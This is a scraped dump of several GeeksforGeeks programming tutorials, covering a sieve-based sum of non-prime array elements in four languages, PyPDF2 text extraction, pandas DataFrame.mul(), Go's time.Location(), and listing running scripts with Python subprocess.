"code": "# Python3 program to find sum of non-primes# in given array # from math lib. import sqrtfrom math import sqrt # Function to return the sum of# non-prime elements from the arraydef nonPrimeSum(arr, n) : # Find maximum value in the array max_val = max(arr) # USE SIEVE TO FIND ALL PRIME NUMBERS # LESS THAN OR EQUAL TO max_val # Create a boolean array \"prime[0..n]\". # A value in prime[i] will finally be # false if i is Not a prime, else true. prime = [True] * (max_val + 1) # Remaining part of SIEVE prime[0] = False prime[1] = False for p in range(2, int(sqrt(max_val)) + 1) : # If prime[p] is not changed, # then it is a prime if (prime[p] == True) : # Update all multiples of p for i in range(p * 2, max_val + 1, p) : prime[i] = False # Sum all non-prime elements in arr[] sum = 0 for i in range(0, n) : if (not prime[arr[i]]) : sum += arr[i] return sum # Driver codeif __name__ == \"__main__\" : arr= [ 1, 3, 7, 4, 9, 8 ] n = len(arr) print(nonPrimeSum(arr, n)) # This code is contributed by Ryuga",
"e": 4525,
"s": 3365,
"text": null
},
{
"code": "// C# program to find sum of non-primes// in given arrayusing System; class GFG{ // returns the maximum elementstatic int max_element(int[] arr){ int max_e = int.MinValue; for(int i = 0; i < arr.Length; i++) { max_e = Math.Max(max_e, arr[i]); } return max_e;} // Function to return the sum of// non-prime elements from the arraystatic int nonPrimeSum(int[] arr, int n){ // Find maximum value in the array int max_val = max_element(arr); // USE SIEVE TO FIND ALL PRIME NUMBERS // LESS THAN OR EQUAL TO max_val // Create a boolean array \"prime[0..n]\". // A value in prime[i] will finally be // false if i is Not a prime, else true. bool[] prime = new bool[max_val + 1]; for(int i = 0; i < prime.Length; i++) prime[i] = true; // Remaining part of SIEVE prime[0] = false; prime[1] = false; for (int p = 2; p * p <= max_val; p++) { // If prime[p] is not changed, // then it is a prime if (prime[p] == true) { // Update all multiples of p for (int i = p * 2; i <= max_val; i += p) prime[i] = false; } } // Sum all non-prime elements in arr[] int sum = 0; for (int i = 0; i < n; i++) if (!prime[arr[i]]) sum += arr[i]; return sum;} // Driver codepublic static void Main(){ int[] arr = { 1, 3, 7, 4, 9, 8 }; int n = arr.Length; Console.WriteLine(nonPrimeSum(arr, n));}} // This code is contributed// by Mukul Singh.",
"e": 6045,
"s": 4525,
"text": null
},
{
"code": "<?php// PHP program to find sum of// non-primes in given array // Function to return the sum of// non-prime elements from the arrayfunction nonPrimeSum($arr, $n){ // Find maximum value in the array $max_val = max($arr); // USE SIEVE TO FIND ALL PRIME NUMBERS LESS // THAN OR EQUAL TO max_val // Create a boolean array \"prime[0..n]\". A // value in prime[i] will finally be false // if i is Not a prime, else true. $prime = array_fill(0, $max_val + 1, true); // Remaining part of SIEVE $prime[0] = false; $prime[1] = false; for ($p = 2; $p * $p <= $max_val; $p++) { // If prime[p] is not changed, then // it is a prime if ($prime[$p] == true) { // Update all multiples of p for ($i = $p * 2; $i <= $max_val; $i += $p) $prime[$i] = false; } } // Sum all non-prime elements in arr[] $sum = 0; for ($i = 0; $i < $n; $i++) if (!$prime[$arr[$i]]) $sum += $arr[$i]; return $sum;} // Driver code$arr = array( 1, 3, 7, 4, 9, 8 );$n = count($arr); echo nonPrimeSum($arr, $n); // this code is contributed by mits?>",
"e": 7215,
"s": 6045,
"text": null
},
{
"code": "<script> // Javascript program to find sum of// non-primes in given array //returns the maximum element function max_element(arr) { let max_e = Number.MIN_VALUE; for(let i = 0; i < arr.length; i++) { max_e = Math.max(max_e, arr[i]); } return max_e; } // Function to return the sum of // non-prime elements from the array function nonPrimeSum(arr,n) { // Find maximum value in the array let max_val = max_element(arr); // USE SIEVE TO FIND ALL PRIME NUMBERS LESS // THAN OR EQUAL TO max_val // Create a boolean array \"prime[0..n]\". A // value in prime[i] will finally be false // if i is Not a prime, else true. let prime = new Array(max_val + 1); for(let i = 0; i < prime.length; i++) prime[i] = true; // Remaining part of SIEVE prime[0] = false; prime[1] = false; for (let p = 2; p * p <= max_val; p++) { // If prime[p] is not changed, then // it is a prime if (prime[p] == true) { // Update all multiples of p for (let i = p * 2; i <= max_val; i += p) prime[i] = false; } } // Sum all non-prime elements in arr[] let sum = 0; for (let i = 0; i < n; i++) if (!prime[arr[i]]) sum += arr[i]; return sum; } // Driver code let arr=[1, 3, 7, 4, 9, 8 ]; let n = arr.length; document.write( nonPrimeSum(arr, n)); // This code is contributed by unknown2108 </script>",
"e": 8919,
"s": 7215,
"text": null
},
{
"code": null,
"e": 8922,
"s": 8919,
"text": "22"
},
{
"code": null,
"e": 8932,
"s": 8924,
"text": "ankthon"
},
{
"code": null,
"e": 8943,
"s": 8932,
"text": "andrew1234"
},
{
"code": null,
"e": 8953,
"s": 8943,
"text": "Code_Mech"
},
{
"code": null,
"e": 8966,
"s": 8953,
"text": "Mithun Kumar"
},
{
"code": null,
"e": 8977,
"s": 8966,
"text": "nidhi_biet"
},
{
"code": null,
"e": 8989,
"s": 8977,
"text": "unknown2108"
},
{
"code": null,
"e": 9002,
"s": 8989,
"text": "Prime Number"
},
{
"code": null,
"e": 9008,
"s": 9002,
"text": "sieve"
},
{
"code": null,
"e": 9015,
"s": 9008,
"text": "Arrays"
},
{
"code": null,
"e": 9022,
"s": 9015,
"text": "Arrays"
},
{
"code": null,
"e": 9035,
"s": 9022,
"text": "Prime Number"
},
{
"code": null,
"e": 9041,
"s": 9035,
"text": "sieve"
},
{
"code": null,
"e": 9139,
"s": 9041,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 9173,
"s": 9139,
"text": "Count of subarrays with average K"
},
{
"code": null,
"e": 9205,
"s": 9173,
"text": "Introduction to Data Structures"
},
{
"code": null,
"e": 9230,
"s": 9205,
"text": "Window Sliding Technique"
},
{
"code": null,
"e": 9289,
"s": 9230,
"text": "Find subarray with given sum | Set 1 (Nonnegative Numbers)"
},
{
"code": null,
"e": 9310,
"s": 9289,
"text": "Next Greater Element"
},
{
"code": null,
"e": 9374,
"s": 9310,
"text": "What is Data Structure: Types, Classifications and Applications"
},
{
"code": null,
"e": 9402,
"s": 9374,
"text": "Merge Overlapping Intervals"
},
{
"code": null,
"e": 9466,
"s": 9402,
"text": "Count of longest possible subarrays with sum not divisible by K"
},
{
"code": null,
"e": 9507,
"s": 9466,
"text": "Find a triplet that sum to a given value"
}
] |
Extract text from PDF File using Python
|
16 Jul, 2020
All of you must be familiar with what PDFs are. In fact, they are one of the most important and widely used digital media. PDF stands for Portable Document Format. It uses .pdf extension. It is used to present and exchange documents reliably, independent of software, hardware, or operating system.
Python package PyPDF can be used to achieve what we want (text extraction), although it can do more than what we need. This package can also be used to generate, decrypting and merging PDF files.
Note: For more information, refer to Working with PDF files in Python
To install this package type the below command in the terminal.
pip install PyPDF2
Example:
Input PDF:
# importing required modules import PyPDF2 # creating a pdf file object pdfFileObj = open('example.pdf', 'rb') # creating a pdf reader object pdfReader = PyPDF2.PdfFileReader(pdfFileObj) # printing number of pages in pdf file print(pdfReader.numPages) # creating a page object pageObj = pdfReader.getPage(0) # extracting text from page print(pageObj.extractText()) # closing the pdf file object pdfFileObj.close()
Output:
Let us try to understand the above code in chunks:
pdfFileObj = open('example.pdf', 'rb')We opened the example.pdf in binary mode. and saved the file object as pdfFileObj.
pdfFileObj = open('example.pdf', 'rb')
We opened the example.pdf in binary mode. and saved the file object as pdfFileObj.
pdfReader = PyPDF2.PdfFileReader(pdfFileObj)Here, we create an object of PdfFileReader class of PyPDF2 module and pass the pdf file object & get a pdf reader object.
pdfReader = PyPDF2.PdfFileReader(pdfFileObj)
Here, we create an object of PdfFileReader class of PyPDF2 module and pass the pdf file object & get a pdf reader object.
print(pdfReader.numPages)numPages property gives the number of pages in the pdf file. For example, in our case, it is 20 (see first line of output).
print(pdfReader.numPages)
numPages property gives the number of pages in the pdf file. For example, in our case, it is 20 (see first line of output).
pageObj = pdfReader.getPage(0)Now, we create an object of PageObject class of PyPDF2 module. pdf reader object has function getPage() which takes page number (starting form index 0) as argument and returns the page object.
pageObj = pdfReader.getPage(0)
Now, we create an object of PageObject class of PyPDF2 module. pdf reader object has function getPage() which takes page number (starting form index 0) as argument and returns the page object.
print(pageObj.extractText())Page object has function extractText() to extract text from the pdf page.
print(pageObj.extractText())
Page object has function extractText() to extract text from the pdf page.
pdfFileObj.close()At last, we close the pdf file object.
pdfFileObj.close()
At last, we close the pdf file object.
Python-projects
python-utility
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n16 Jul, 2020"
},
{
"code": null,
"e": 351,
"s": 52,
"text": "All of you must be familiar with what PDFs are. In fact, they are one of the most important and widely used digital media. PDF stands for Portable Document Format. It uses .pdf extension. It is used to present and exchange documents reliably, independent of software, hardware, or operating system."
},
{
"code": null,
"e": 547,
"s": 351,
"text": "Python package PyPDF can be used to achieve what we want (text extraction), although it can do more than what we need. This package can also be used to generate, decrypting and merging PDF files."
},
{
"code": null,
"e": 617,
"s": 547,
"text": "Note: For more information, refer to Working with PDF files in Python"
},
{
"code": null,
"e": 681,
"s": 617,
"text": "To install this package type the below command in the terminal."
},
{
"code": null,
"e": 700,
"s": 681,
"text": "pip install PyPDF2"
},
{
"code": null,
"e": 709,
"s": 700,
"text": "Example:"
},
{
"code": null,
"e": 720,
"s": 709,
"text": "Input PDF:"
},
{
"code": "# importing required modules import PyPDF2 # creating a pdf file object pdfFileObj = open('example.pdf', 'rb') # creating a pdf reader object pdfReader = PyPDF2.PdfFileReader(pdfFileObj) # printing number of pages in pdf file print(pdfReader.numPages) # creating a page object pageObj = pdfReader.getPage(0) # extracting text from page print(pageObj.extractText()) # closing the pdf file object pdfFileObj.close() ",
"e": 1159,
"s": 720,
"text": null
},
{
"code": null,
"e": 1167,
"s": 1159,
"text": "Output:"
},
{
"code": null,
"e": 1218,
"s": 1167,
"text": "Let us try to understand the above code in chunks:"
},
{
"code": null,
"e": 1339,
"s": 1218,
"text": "pdfFileObj = open('example.pdf', 'rb')We opened the example.pdf in binary mode. and saved the file object as pdfFileObj."
},
{
"code": null,
"e": 1378,
"s": 1339,
"text": "pdfFileObj = open('example.pdf', 'rb')"
},
{
"code": null,
"e": 1461,
"s": 1378,
"text": "We opened the example.pdf in binary mode. and saved the file object as pdfFileObj."
},
{
"code": null,
"e": 1628,
"s": 1461,
"text": "pdfReader = PyPDF2.PdfFileReader(pdfFileObj)Here, we create an object of PdfFileReader class of PyPDF2 module and pass the pdf file object & get a pdf reader object."
},
{
"code": null,
"e": 1673,
"s": 1628,
"text": "pdfReader = PyPDF2.PdfFileReader(pdfFileObj)"
},
{
"code": null,
"e": 1796,
"s": 1673,
"text": "Here, we create an object of PdfFileReader class of PyPDF2 module and pass the pdf file object & get a pdf reader object."
},
{
"code": null,
"e": 1945,
"s": 1796,
"text": "print(pdfReader.numPages)numPages property gives the number of pages in the pdf file. For example, in our case, it is 20 (see first line of output)."
},
{
"code": null,
"e": 1971,
"s": 1945,
"text": "print(pdfReader.numPages)"
},
{
"code": null,
"e": 2095,
"s": 1971,
"text": "numPages property gives the number of pages in the pdf file. For example, in our case, it is 20 (see first line of output)."
},
{
"code": null,
"e": 2318,
"s": 2095,
"text": "pageObj = pdfReader.getPage(0)Now, we create an object of PageObject class of PyPDF2 module. pdf reader object has function getPage() which takes page number (starting form index 0) as argument and returns the page object."
},
{
"code": null,
"e": 2349,
"s": 2318,
"text": "pageObj = pdfReader.getPage(0)"
},
{
"code": null,
"e": 2542,
"s": 2349,
"text": "Now, we create an object of PageObject class of PyPDF2 module. pdf reader object has function getPage() which takes page number (starting form index 0) as argument and returns the page object."
},
{
"code": null,
"e": 2644,
"s": 2542,
"text": "print(pageObj.extractText())Page object has function extractText() to extract text from the pdf page."
},
{
"code": null,
"e": 2673,
"s": 2644,
"text": "print(pageObj.extractText())"
},
{
"code": null,
"e": 2747,
"s": 2673,
"text": "Page object has function extractText() to extract text from the pdf page."
},
{
"code": null,
"e": 2804,
"s": 2747,
"text": "pdfFileObj.close()At last, we close the pdf file object."
},
{
"code": null,
"e": 2823,
"s": 2804,
"text": "pdfFileObj.close()"
},
{
"code": null,
"e": 2862,
"s": 2823,
"text": "At last, we close the pdf file object."
},
{
"code": null,
"e": 2878,
"s": 2862,
"text": "Python-projects"
},
{
"code": null,
"e": 2893,
"s": 2878,
"text": "python-utility"
},
{
"code": null,
"e": 2900,
"s": 2893,
"text": "Python"
}
] |
Python | Pandas dataframe.mul()
|
06 Aug, 2021
Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric python packages. Pandas is one of those packages and makes importing and analyzing data much easier.Pandas dataframe.mul() function return multiplication of dataframe and other element- wise. This function essentially does the same thing as the dataframe * other, but it provides an additional support to handle missing values in one of the inputs.
Syntax: DataFrame.mul(other, axis=’columns’, level=None, fill_value=None)Parameters : other : Series, DataFrame, or constant axis : For Series input, axis to match Series index on level : Broadcast across a level, matching Index values on the passed MultiIndex level fill_value : Fill existing missing (NaN) values, and any new element needed for successful DataFrame alignment, with this value before computation. If data in both corresponding DataFrame locations is missing the result will be missingReturns : result : DataFrame
Example #1: Use mul() function to find the multiplication of a dataframe with a series. Note : For multiplication with series, dataframe axis used for multiplication must match series index on.
Python3
# importing pandas as pdimport pandas as pd # Creating the first dataframedf1=pd.DataFrame({"A":[14,4,5,4,1], "B":[5,2,54,3,2], "C":[20,20,7,3,8], "D":[14,3,6,2,6]}) # Print the dataframedf1
Let’s create the series
Python3
# importing pandas as pdimport pandas as pd # create seriessr = pd.Series([3, 2, 4, 5, 6]) # Print seriessr
Lets use the dataframe.mul() function to perform multiplication
Python3
# find multiplication over the index axisdf1.mul(sr, axis = 0)
Output :
Example #2: Use mul() function to find the multiplication of two dataframes. One dataframe contains NA values.
Python3
# importing pandas as pdimport pandas as pd # Creating the first dataframedf1=pd.DataFrame({"A":[14,4,5,4,1], "B":[5,2,54,3,2], "C":[20,20,7,3,8], "D":[14,3,6,2,6]}) # Creating the second dataframe with <code>Na</code> valuedf2=pd.DataFrame({"A":[12,4,5,None,1], "B":[7,2,54,3,None], "C":[20,16,11,3,8], "D":[14,3,None,2,6]}) # Print the second dataframedf2
Lets use the dataframe.mul() function to find the multiplication of two dataframes, also handle the missing values.
Python3
# fill the missing values with 100df1.mul(df2, fill_value = 100)
Output :
Notice, all the missing value cells has been filled with 100 before multiplication
saurabh1990aror
Python pandas-dataFrame
Python pandas-dataFrame-methods
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Python OOPs Concepts
Convert integer to string in Python
Introduction To PYTHON
How to drop one or multiple columns in Pandas Dataframe
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n06 Aug, 2021"
},
{
"code": null,
"e": 517,
"s": 54,
"text": "Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric python packages. Pandas is one of those packages and makes importing and analyzing data much easier.Pandas dataframe.mul() function return multiplication of dataframe and other element- wise. This function essentially does the same thing as the dataframe * other, but it provides an additional support to handle missing values in one of the inputs. "
},
{
"code": null,
"e": 1049,
"s": 517,
"text": "Syntax: DataFrame.mul(other, axis=’columns’, level=None, fill_value=None)Parameters : other : Series, DataFrame, or constant axis : For Series input, axis to match Series index on level : Broadcast across a level, matching Index values on the passed MultiIndex level fill_value : Fill existing missing (NaN) values, and any new element needed for successful DataFrame alignment, with this value before computation. If data in both corresponding DataFrame locations is missing the result will be missingReturns : result : DataFrame "
},
{
"code": null,
"e": 1244,
"s": 1049,
"text": "Example #1: Use mul() function to find the multiplication of a dataframe with a series. Note : For multiplication with series, dataframe axis used for multiplication must match series index on. "
},
{
"code": null,
"e": 1252,
"s": 1244,
"text": "Python3"
},
{
"code": "# importing pandas as pdimport pandas as pd # Creating the first dataframedf1=pd.DataFrame({\"A\":[14,4,5,4,1], \"B\":[5,2,54,3,2], \"C\":[20,20,7,3,8], \"D\":[14,3,6,2,6]}) # Print the dataframedf1",
"e": 1494,
"s": 1252,
"text": null
},
{
"code": null,
"e": 1519,
"s": 1494,
"text": "Let’s create the series "
},
{
"code": null,
"e": 1527,
"s": 1519,
"text": "Python3"
},
{
"code": "# importing pandas as pdimport pandas as pd # create seriessr = pd.Series([3, 2, 4, 5, 6]) # Print seriessr",
"e": 1635,
"s": 1527,
"text": null
},
{
"code": null,
"e": 1701,
"s": 1635,
"text": "Lets use the dataframe.mul() function to perform multiplication "
},
{
"code": null,
"e": 1709,
"s": 1701,
"text": "Python3"
},
{
"code": "# find multiplication over the index axisdf1.mul(sr, axis = 0)",
"e": 1772,
"s": 1709,
"text": null
},
{
"code": null,
"e": 1783,
"s": 1772,
"text": "Output : "
},
{
"code": null,
"e": 1897,
"s": 1783,
"text": " Example #2: Use mul() function to find the multiplication of two dataframes. One dataframe contains NA values. "
},
{
"code": null,
"e": 1905,
"s": 1897,
"text": "Python3"
},
{
"code": "# importing pandas as pdimport pandas as pd # Creating the first dataframedf1=pd.DataFrame({\"A\":[14,4,5,4,1], \"B\":[5,2,54,3,2], \"C\":[20,20,7,3,8], \"D\":[14,3,6,2,6]}) # Creating the second dataframe with <code>Na</code> valuedf2=pd.DataFrame({\"A\":[12,4,5,None,1], \"B\":[7,2,54,3,None], \"C\":[20,16,11,3,8], \"D\":[14,3,None,2,6]}) # Print the second dataframedf2",
"e": 2365,
"s": 1905,
"text": null
},
{
"code": null,
"e": 2482,
"s": 2365,
"text": "Lets use the dataframe.mul() function to find the multiplication of two dataframes, also handle the missing values. "
},
{
"code": null,
"e": 2490,
"s": 2482,
"text": "Python3"
},
{
"code": "# fill the missing values with 100df1.mul(df2, fill_value = 100)",
"e": 2555,
"s": 2490,
"text": null
},
{
"code": null,
"e": 2566,
"s": 2555,
"text": "Output : "
},
{
"code": null,
"e": 2650,
"s": 2566,
"text": "Notice, all the missing value cells has been filled with 100 before multiplication "
},
{
"code": null,
"e": 2666,
"s": 2650,
"text": "saurabh1990aror"
},
{
"code": null,
"e": 2690,
"s": 2666,
"text": "Python pandas-dataFrame"
},
{
"code": null,
"e": 2722,
"s": 2690,
"text": "Python pandas-dataFrame-methods"
},
{
"code": null,
"e": 2736,
"s": 2722,
"text": "Python-pandas"
},
{
"code": null,
"e": 2743,
"s": 2736,
"text": "Python"
},
{
"code": null,
"e": 2841,
"s": 2743,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 2859,
"s": 2841,
"text": "Python Dictionary"
},
{
"code": null,
"e": 2901,
"s": 2859,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 2923,
"s": 2901,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 2955,
"s": 2923,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 2984,
"s": 2955,
"text": "*args and **kwargs in Python"
},
{
"code": null,
"e": 3011,
"s": 2984,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 3032,
"s": 3011,
"text": "Python OOPs Concepts"
},
{
"code": null,
"e": 3068,
"s": 3032,
"text": "Convert integer to string in Python"
},
{
"code": null,
"e": 3091,
"s": 3068,
"text": "Introduction To PYTHON"
}
] |
time.Time.Location() Function in Golang with Examples
|
19 Apr, 2020
In Go language, time packages supplies functionality for determining as well as viewing time. The Time.Location() function in Go language is used to check the data of the time zone that is associated with “t”. Moreover, this function is defined under the time package. Here, you need to import the “time” package in order to use these functions.
Syntax:
func (t Time) Location() *Location
Here, “t” is the stated time and *Location is the pointer to Location.
Return value: It returns the information of the time zone that is associated with “t”.
Example 1:
// Golang program to illustrate the usage of// Time.Location() function // Including main packagepackage main // Importing fmt and timeimport "fmt"import "time" // Calling mainfunc main() { // Defining t for calling Location method t := time.Date(2019, 2, 11, 10, 03, 00, 00, time.UTC) // Calling Location method loc := t.Location() // Prints output fmt.Printf("%v\n", loc)}
Output:
UTC
Example 2:
// Golang program to illustrate the usage of// Time.Location() function // Including main packagepackage main // Importing fmt and timeimport "fmt"import "time" // Calling mainfunc main() { // Defining location using FixedZone method location := time.FixedZone("UTC-7", -6*56*34) // Defining t for calling Location method t := time.Date(2019, 2, 11, 10, 03, 00, 00, location) // Calling Location method loc := t.Location() // Prints output fmt.Printf("%v\n", loc)}
Output:
UTC-7
Here, FixedZone() method is used in order to define the location parameter of Date() method so the data of the time zone in the output is returned according to that location.
GoLang-time
Go Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Range Keyword in Golang
Check if the String ends with specified suffix in Golang
Time Durations in Golang
Import in GoLang
How to Map a Rune to Lowercase in Golang?
Golang - Environment Variables
Strings in Golang
Golang program that uses structs as map keys
Check if the String starts with specified prefix in Golang
Top 10 Programming Languages for Blockchain Development
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n19 Apr, 2020"
},
{
"code": null,
"e": 374,
"s": 28,
"text": "In Go language, time packages supplies functionality for determining as well as viewing time. The Time.Location() function in Go language is used to check the data of the time zone that is associated with “t”. Moreover, this function is defined under the time package. Here, you need to import the “time” package in order to use these functions."
},
{
"code": null,
"e": 382,
"s": 374,
"text": "Syntax:"
},
{
"code": null,
"e": 418,
"s": 382,
"text": "func (t Time) Location() *Location\n"
},
{
"code": null,
"e": 489,
"s": 418,
"text": "Here, “t” is the stated time and *Location is the pointer to Location."
},
{
"code": null,
"e": 576,
"s": 489,
"text": "Return value: It returns the information of the time zone that is associated with “t”."
},
{
"code": null,
"e": 587,
"s": 576,
"text": "Example 1:"
},
{
"code": "// Golang program to illustrate the usage of// Time.Location() function // Including main packagepackage main // Importing fmt and timeimport \"fmt\"import \"time\" // Calling mainfunc main() { // Defining t for calling Location method t := time.Date(2019, 2, 11, 10, 03, 00, 00, time.UTC) // Calling Location method loc := t.Location() // Prints output fmt.Printf(\"%v\\n\", loc)}",
"e": 989,
"s": 587,
"text": null
},
{
"code": null,
"e": 997,
"s": 989,
"text": "Output:"
},
{
"code": null,
"e": 1002,
"s": 997,
"text": "UTC\n"
},
{
"code": null,
"e": 1013,
"s": 1002,
"text": "Example 2:"
},
{
"code": "// Golang program to illustrate the usage of// Time.Location() function // Including main packagepackage main // Importing fmt and timeimport \"fmt\"import \"time\" // Calling mainfunc main() { // Defining location using FixedZone method location := time.FixedZone(\"UTC-7\", -6*56*34) // Defining t for calling Location method t := time.Date(2019, 2, 11, 10, 03, 00, 00, location) // Calling Location method loc := t.Location() // Prints output fmt.Printf(\"%v\\n\", loc)}",
"e": 1513,
"s": 1013,
"text": null
},
{
"code": null,
"e": 1521,
"s": 1513,
"text": "Output:"
},
{
"code": null,
"e": 1528,
"s": 1521,
"text": "UTC-7\n"
},
{
"code": null,
"e": 1703,
"s": 1528,
"text": "Here, FixedZone() method is used in order to define the location parameter of Date() method so the data of the time zone in the output is returned according to that location."
},
{
"code": null,
"e": 1715,
"s": 1703,
"text": "GoLang-time"
},
{
"code": null,
"e": 1727,
"s": 1715,
"text": "Go Language"
},
{
"code": null,
"e": 1825,
"s": 1727,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 1849,
"s": 1825,
"text": "Range Keyword in Golang"
},
{
"code": null,
"e": 1906,
"s": 1849,
"text": "Check if the String ends with specified suffix in Golang"
},
{
"code": null,
"e": 1931,
"s": 1906,
"text": "Time Durations in Golang"
},
{
"code": null,
"e": 1948,
"s": 1931,
"text": "Import in GoLang"
},
{
"code": null,
"e": 1990,
"s": 1948,
"text": "How to Map a Rune to Lowercase in Golang?"
},
{
"code": null,
"e": 2021,
"s": 1990,
"text": "Golang - Environment Variables"
},
{
"code": null,
"e": 2039,
"s": 2021,
"text": "Strings in Golang"
},
{
"code": null,
"e": 2084,
"s": 2039,
"text": "Golang program that uses structs as map keys"
},
{
"code": null,
"e": 2143,
"s": 2084,
"text": "Check if the String starts with specified prefix in Golang"
}
] |
How to check any script is running in linux using Python?
|
03 Mar, 2021
Python is a strong and exponentially growing programming language in the present day. There is a multiple-way to check which script is running in the background of a Linux environment. One of them is using the subprocess module in python. Subprocess is used to run new programs through Python code by creating new processes. In this article, we are going to see how to check any script is running in the background Linux using Python.
Requirement :
Python >=2.7, >= 3.0
pip
Installation of Subprocess :
pip install subprocess.run
We will use subprocess.checkout() methods to get all the running processes.
Syntax : subprocess.check_output(args, *, stdin=None, stderr=None, shell=False, cwd=None, encoding=None, errors=None, universal_newlines=None, timeout=None, text=None, **other_popen_kwargs)
This run command with argument and return output.
stderr=subprocess.STDOUT is used to capture standard error in the result.
Example 1 :
In the below code we will get all the py script running in the background Linux
Python3
import subprocess pytonProcess = subprocess.check_output("ps -ef | grep .py",shell=True).decode()pytonProcess = pytonProcess.split('\n') for process in pytonProcess: print(process)
Output :
Example 2 :
In the below example we will check whether a particular script is running in background
Python3
import subprocess pytonProcess = subprocess.check_output("ps -ef | grep test.py",shell=True).decode()pytonProcess = pytonProcess.split('\n') for process in pytonProcess: print(process)
Output :
Example 3 :
In the below code we will get all the PHP script running in background Linux.
Python3
import subprocess pytonProcess = subprocess.check_output("ps -ef | grep .php",shell=True).decode()PHPProcess = pytonProcess.split('\n') for process in PHPProcess: print(process)
Output :
Picked
python-utility
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Python Classes and Objects
Python OOPs Concepts
Introduction To PYTHON
How to drop one or multiple columns in Pandas Dataframe
Python | os.path.join() method
Check if element exists in list in Python
How To Convert Python Dictionary To JSON?
Python | Get unique values from a list
Python | datetime.timedelta() function
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n03 Mar, 2021"
},
{
"code": null,
"e": 463,
"s": 28,
"text": "Python is a strong and exponentially growing programming language in the present day. There is a multiple-way to check which script is running in the background of a Linux environment. One of them is using the subprocess module in python. Subprocess is used to run new programs through Python code by creating new processes. In this article, we are going to see how to check any script is running in the background Linux using Python."
},
{
"code": null,
"e": 477,
"s": 463,
"text": "Requirement :"
},
{
"code": null,
"e": 498,
"s": 477,
"text": "Python >=2.7, >= 3.0"
},
{
"code": null,
"e": 502,
"s": 498,
"text": "pip"
},
{
"code": null,
"e": 531,
"s": 502,
"text": "Installation of Subprocess :"
},
{
"code": null,
"e": 558,
"s": 531,
"text": "pip install subprocess.run"
},
{
"code": null,
"e": 634,
"s": 558,
"text": "We will use subprocess.checkout() methods to get all the running processes."
},
{
"code": null,
"e": 824,
"s": 634,
"text": "Syntax : subprocess.check_output(args, *, stdin=None, stderr=None, shell=False, cwd=None, encoding=None, errors=None, universal_newlines=None, timeout=None, text=None, **other_popen_kwargs)"
},
{
"code": null,
"e": 874,
"s": 824,
"text": "This run command with argument and return output."
},
{
"code": null,
"e": 948,
"s": 874,
"text": "stderr=subprocess.STDOUT is used to capture standard error in the result."
},
{
"code": null,
"e": 960,
"s": 948,
"text": "Example 1 :"
},
{
"code": null,
"e": 1040,
"s": 960,
"text": "In the below code we will get all the py script running in the background Linux"
},
{
"code": null,
"e": 1048,
"s": 1040,
"text": "Python3"
},
{
"code": "import subprocess pytonProcess = subprocess.check_output(\"ps -ef | grep .py\",shell=True).decode()pytonProcess = pytonProcess.split('\\n') for process in pytonProcess: print(process)",
"e": 1236,
"s": 1048,
"text": null
},
{
"code": null,
"e": 1245,
"s": 1236,
"text": "Output :"
},
{
"code": null,
"e": 1257,
"s": 1245,
"text": "Example 2 :"
},
{
"code": null,
"e": 1345,
"s": 1257,
"text": "In the below example we will check whether a particular script is running in background"
},
{
"code": null,
"e": 1353,
"s": 1345,
"text": "Python3"
},
{
"code": "import subprocess pytonProcess = subprocess.check_output(\"ps -ef | grep test.py\",shell=True).decode()pytonProcess = pytonProcess.split('\\n') for process in pytonProcess: print(process)",
"e": 1545,
"s": 1353,
"text": null
},
{
"code": null,
"e": 1554,
"s": 1545,
"text": "Output :"
},
{
"code": null,
"e": 1566,
"s": 1554,
"text": "Example 3 :"
},
{
"code": null,
"e": 1644,
"s": 1566,
"text": "In the below code we will get all the PHP script running in background Linux."
},
{
"code": null,
"e": 1652,
"s": 1644,
"text": "Python3"
},
{
"code": "import subprocess pytonProcess = subprocess.check_output(\"ps -ef | grep .php\",shell=True).decode()PHPProcess = pytonProcess.split('\\n') for process in PHPProcess: print(process)",
"e": 1837,
"s": 1652,
"text": null
},
{
"code": null,
"e": 1846,
"s": 1837,
"text": "Output :"
},
{
"code": null,
"e": 1853,
"s": 1846,
"text": "Picked"
},
{
"code": null,
"e": 1868,
"s": 1853,
"text": "python-utility"
},
{
"code": null,
"e": 1875,
"s": 1868,
"text": "Python"
},
{
"code": null,
"e": 1973,
"s": 1875,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 2005,
"s": 1973,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 2032,
"s": 2005,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 2053,
"s": 2032,
"text": "Python OOPs Concepts"
},
{
"code": null,
"e": 2076,
"s": 2053,
"text": "Introduction To PYTHON"
},
{
"code": null,
"e": 2132,
"s": 2076,
"text": "How to drop one or multiple columns in Pandas Dataframe"
},
{
"code": null,
"e": 2163,
"s": 2132,
"text": "Python | os.path.join() method"
},
{
"code": null,
"e": 2205,
"s": 2163,
"text": "Check if element exists in list in Python"
},
{
"code": null,
"e": 2247,
"s": 2205,
"text": "How To Convert Python Dictionary To JSON?"
},
{
"code": null,
"e": 2286,
"s": 2247,
"text": "Python | Get unique values from a list"
}
] |
Querying and selecting specific column in SQLAlchemy
|
22 Jun, 2022
In this article, we will see how to query and select specific columns using SQLAlchemy in Python.
